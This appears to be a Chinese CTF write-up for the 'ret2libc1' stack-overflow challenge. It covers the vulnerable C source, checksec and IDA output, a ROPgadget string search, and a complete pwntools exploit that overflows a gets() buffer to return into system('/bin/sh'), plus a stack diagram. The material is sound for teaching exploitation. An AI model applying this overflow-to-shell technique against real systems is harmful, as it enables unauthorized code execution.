好好说话之ret2libc1

题目路径:

/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1

一、原理

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址

看C代码

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char *shell = "/bin/sh";
char buf2[100];
void secure(void)
{
    int secretcode, input;
    srand(time(NULL));
    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        system("shell!?");
}
int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    char buf1[100];
    printf("RET2LIBC >_<\n");
    gets(buf1);
    return 0;
}

二、程序分析

checksec检查一下程序的保护机制

$ checksec ret2libc1
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序开启了NX保护,不能自己构造shellcode插入到栈中,也不能利用跳转,那么就需要使用系统自带的函数或者使用gadget进行溢出,IDA查看一下伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets((char *)&v4);
  return 0;
}

依然还是gets函数,存在溢出点。v4变量距离esp指针0x1c,距离ebp指针0x64,所以v4其实地址距离ret返回地址0x6c+4个字节

在不显示源码的情况下,可以通过ROPgadget工具查看是否存在’/bin/sh’字符串

hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh

发现程序中存在’/bin/sh’字符串并获得地址,如果只有’/bin/sh’是不够的,在不使用gadget的情况下需要查找远程序中是否由system函数,让system函数执行binshell,使用IDA查看程序

.plt:08048460 ; int system(const char *command)
.plt:08048460 _system         proc near               ; CODE XREF: secure+44p
.plt:08048460                 jmp     ds:off_804A018
.plt:08048460 _system         endp

发现在.plt中存在system函数,但需要考虑的是调用plt中的函数时需要在栈中部署两个参数,首先第一个是system执行后的返回地址,第二个是system函数中的参数。

三、EXP

下面写exp:

from pwn import *

sh = process('./ret2libc1')
bin_sh = 0x08048720
system_plt = 0x08048460
payload = flat(['hollkdig'*14, system_plt, 'holk', bin_sh])
sh.sendline(payload)
sh.interactive()

四、栈布局

payload在栈中的部署:

                       +---------------------------+
                       |          bin_sh           | 部署bin_sh作为systemcall的参数
                       +---------------------------+
                       |           holk            | 部署holk作为systemcall函数的返回地址 
                       +---------------------------+
                       |        system_plt         | 执行system_plt,覆盖原ret返回位置
                       +---------------------------+
                       |           kdig            | kdig覆盖原saved ebp位置
                ebp--->+---------------------------+
                       |           holl            | hollkdig占位填满栈空间
                       |           ....            |        ......
                       |           kdig            | hollkdig占位填满栈空间
                       |           holl            | hollkdig占位填满栈空间
                       |           kdig            | hollkdig占位填满栈空间
                       |           holl            | hollkdig占位填满栈空间
  v4终止位置,ebp-0x64-->+---------------------------+

猜你喜欢

转载自blog.csdn.net/qq_41202237/article/details/105913479